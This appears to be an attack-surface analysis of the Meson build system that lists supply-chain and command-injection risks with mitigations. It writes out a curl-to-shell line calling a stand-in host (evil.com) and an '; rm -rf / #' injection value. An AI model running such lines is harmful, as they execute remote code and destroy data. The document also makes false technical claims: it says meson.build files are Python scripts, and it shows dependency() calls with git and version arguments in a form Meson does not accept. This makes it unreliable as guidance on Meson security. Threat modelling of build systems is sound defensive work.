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attack-surface.md

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Attack Surface Analysis for mesonbuild/meson

Attack Surface: 1. Malicious WrapDB Dependency

  • Description: An attacker publishes a malicious package to WrapDB (Meson's dependency repository) or compromises an existing one. This package contains code that executes during the build, compromising the build environment or the resulting application.
  • How Meson Contributes: Meson's reliance on WrapDB for dependency management and the ease of publishing to WrapDB create this direct attack vector.
  • Example: An attacker publishes a WrapDB package named lib-useful that claims to provide helpful utilities. However, its meson.build file contains a run_command() that downloads and executes a malicious script during the build. A project unknowingly depends on lib-useful.
  • Impact: Complete compromise of the build environment, potential injection of malicious code into the built application, data exfiltration, lateral movement within the network.
  • Risk Severity: Critical
  • Mitigation Strategies:
    • Dependency Pinning: Pin dependencies to specific versions (e.g., dependency('lib-useful', version: '1.2.3')) and never use unpinned or range-based versions.
    • Checksum Verification: Manually verify the checksum (SHA-256) of downloaded WrapDB packages.
    • Private WrapDB Mirror: Maintain a private mirror of WrapDB.
    • Source Code Review: Review the source code of WrapDB dependencies, especially the meson.build files.
    • Limited Build Environment: Run builds in a sandboxed or containerized environment.

Attack Surface: 2. Compromised External Dependency (Non-WrapDB)

  • Description: A dependency fetched from an external source (e.g., Git repository, direct URL) is compromised.
  • How Meson Contributes: Meson's flexibility in fetching dependencies from various sources, configured via meson.build, expands the attack surface. The method of fetching is controlled by Meson.
  • Example: A project uses dependency('my-library', git: 'https://example.com/my-library.git', commit: 'main'). The main branch is compromised. Meson pulls the compromised code.
  • Impact: Compromise of the build environment, code injection, data exfiltration.
  • Risk Severity: Critical
  • Mitigation Strategies:
    • HTTPS Only: Always use HTTPS.
    • Commit Pinning (Git): Pin Git dependencies to specific commit hashes, not branches or tags.
    • Checksum Verification (URLs): Specify a checksum in the meson.build file.
    • Regular Audits: Audit external dependency sources.
    • Vendor Dependencies: Consider vendoring dependencies.

Attack Surface: 3. Arbitrary Code Execution in meson.build

  • Description: An attacker modifies a project's meson.build file, injecting arbitrary Python code.
  • How Meson Contributes: meson.build files are Python scripts, providing a direct mechanism for code execution. Meson inherently trusts the contents of meson.build.
  • Example: An attacker adds run_command('curl https://evil.com/malware | sh') to meson.build.
  • Impact: Complete control over the build process, code injection, access to sensitive data.
  • Risk Severity: Critical
  • Mitigation Strategies:
    • Strict Code Reviews: Treat meson.build as critical code.
    • Repository Access Control: Limit write access to the repository.
    • Secure CI/CD: Use a secure CI/CD pipeline with security checks.
    • Avoid run_command() with Untrusted Input: Never use unsanitized user input with run_command(). Use the array form.
    • Static Analysis: Use static analysis tools.

Attack Surface: 4. Dependency Confusion

  • Description: An attacker publishes a malicious package with the same name as a private dependency, tricking Meson into downloading the malicious package.
  • How Meson Contributes: Meson's dependency resolution process, if not carefully configured, is vulnerable. The order in which Meson searches for dependencies is crucial and controlled by Meson's configuration.
  • Example: A project has a private dependency internal-utils. An attacker publishes a public package on WrapDB also named internal-utils. Meson downloads the malicious package.
  • Impact: Build environment compromise, code injection, data exfiltration.
  • Risk Severity: High
  • Mitigation Strategies:
    • Unique Naming: Use unique names for private dependencies.
    • Explicit Source Configuration: Configure Meson to prioritize private repositories or local sources.
    • Dependency Locking: Use a dependency lock file.

Attack Surface: 5. Insecure run_command() Usage

  • Description: Misuse of the run_command() function in meson.build, leading to command injection.
  • How Meson Contributes: Meson provides the run_command() function, which can be misused.
  • Example: run_command('echo ' + user_input) where user_input is untrusted. An attacker provides ; rm -rf / #.
  • Impact: Arbitrary command execution, system compromise, data loss, denial of service.
  • Risk Severity: High
  • Mitigation Strategies:
    • Avoid run_command(): Use Meson's built-in functions.
    • Array Form: If necessary, always use the array form: run_command(['echo', user_input]).
    • Input Sanitization: Sanitize and escape untrusted input.
    • Least Privilege: Run the build with least necessary privileges.